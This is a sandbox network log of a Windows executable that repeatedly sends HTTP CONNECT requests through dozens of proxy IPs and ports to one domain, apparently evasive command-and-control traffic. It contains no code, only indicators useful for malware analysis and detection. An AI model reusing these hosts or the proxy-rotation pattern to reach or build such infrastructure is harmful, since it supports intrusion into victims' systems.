Mar 11, 2024 15:21:37.996918917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:50.075038910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:02.090646029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:26.153096914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:14.153053045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1800	192.168.2.9	53406	189.240.60.171	9090	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.788132906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.075753927 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1801	192.168.2.9	55179	199.229.254.129	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.801533937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1802	192.168.2.9	53569	189.240.60.168	9090	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.837313890 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:14.118556023 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1803	192.168.2.9	55192	193.158.12.138	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.852946043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1804	192.168.2.9	52794	46.226.148.105	36366	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.855123997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.887892008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.888022900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:25.888196945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:37.996936083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:50.075036049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:02.090651989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:26.153120995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:14.153052092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1805	192.168.2.9	52802	52.151.210.204	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.870538950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1806	192.168.2.9	55092	103.49.114.195	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.884491920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1807	192.168.2.9	52999	177.234.194.226	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.886019945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.887927055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.329279900 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1808	192.168.2.9	53095	162.214.225.223	49227	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.892640114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.996928930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1809	192.168.2.9	53083	174.136.57.169	30453	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.896122932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.997193098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.997204065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:25.997065067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:37.996931076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:50.075103998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:02.091079950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:26.153105021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:14.153024912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1810	192.168.2.9	53113	51.79.87.144	41746	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.907277107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.700421095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1811	192.168.2.9	55198	185.49.30.5	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.907381058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1812	192.168.2.9	55113	192.252.211.197	14921	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.911091089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1813	192.168.2.9	51368	142.54.226.214	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.920164108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1814	192.168.2.9	53150	20.44.189.184	3129	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.921916962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.934757948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.934672117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:25.934581041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:37.046282053 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1815	192.168.2.9	53087	34.95.243.122	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.928941011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.997243881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.997186899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:25.997085094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:37.996977091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:50.075104952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:02.091088057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:26.155844927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:26.474714041 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1816	192.168.2.9	53336	162.241.46.69	53783	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.934217930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.934767008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.934672117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:25.934581041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:37.934391975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:49.934410095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:01.934350014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:26.043724060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:14.043606043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1817	192.168.2.9	51414	162.253.68.97	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.934217930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1818	192.168.2.9	55128	134.209.105.209	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.935688972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.281501055 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1819	192.168.2.9	53367	51.79.87.144	8533	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.935878038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.637936115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.639826059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:45.637572050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:21.637516975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
